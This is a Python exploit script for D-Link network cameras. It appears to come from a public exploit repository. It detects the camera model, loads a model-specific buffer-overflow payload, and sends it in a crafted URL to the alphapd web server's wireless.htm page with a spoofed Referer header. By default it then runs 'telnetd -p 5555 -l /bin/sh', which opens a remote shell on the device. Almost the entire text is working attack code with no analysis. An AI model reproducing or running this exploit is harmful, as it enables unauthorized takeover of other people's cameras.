README.md
Rendering markdown...
#!/usr/bin/python3
import sys
import argparse
import requests
import importlib
from DlinkExploit import version
from DlinkExploit import util
def exploit_target(target_ip, target_port, command, username, password):
"""
Perform target exploitation.
:param target_ip: IP address of the target.
:type target_ip: str
:param target_port: Listening port of alphapd.
:type target_port: str
:param command: Command to execute on the target after exploitation is
complete.
:type command: str
:param username: Username for HTTP authentication.
:type username: str
:param password: Password for HTTP authentication.
:type password: str
"""
if username is None or password is None:
print('Username and password are required for exploitation.')
sys.exit(-1)
# Must have a value in the referer field of the HTTP header or a request
# Forbidden is returned. Doesn't seem to like if port 80 is in the referer
# field so handle it differently here.
if target_port == '80':
url = 'http://%s/wireless.htm' % target_ip
referer = 'http://%s/wizard.htm' % target_ip
else:
url = 'http://%s:%s/wireless.htm' % (target_ip, target_port)
referer = 'http://%s:%s/wizard.htm' % (target_ip, target_port)
try:
camera_version = version.get_camera_version(target_ip, target_port)
except:
sys.exit(-1)
print('%s' % camera_version)
# This might get tedious if the models aren't consistent, but its pretty
# simple for now.
try:
target_camera = 'DlinkExploit.overflows.%s' % camera_version.model
camera_overflow = importlib.import_module(target_camera)
except ModuleNotFoundError:
print('Target model, (%s), not found.' % camera_version.model)
sys.exit(-1)
camera_overflow = camera_overflow.Overflow()
url = url + camera_overflow.generate(camera_version, command)
print('URL: %s' % url)
auth = util.create_http_auth(target_ip, target_port, username, password)
if auth is None:
print('Invalid authentication type. Neither basic or digest are '
'supported.')
sys.exit(-1)
try:
r = requests.get(url, auth=auth, headers={'Referer': referer})
print('Status: %s' % r.status_code)
except:
pass
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--ip', help='Target IP address.')
parser.add_argument('-P', '--port', help='Target Port.', default='80')
parser.add_argument('-c', '--command', default='telnetd -p 5555 -l /bin/sh',
help='Command to execute after exploitation.')
parser.add_argument('-u', '--user', help='Username for authentication',
default='admin')
parser.add_argument('-p', '--password', help='Password for authentication.',
default='')
args = parser.parse_args()
exploit_target(args.ip, args.port, args.command, args.user, args.password)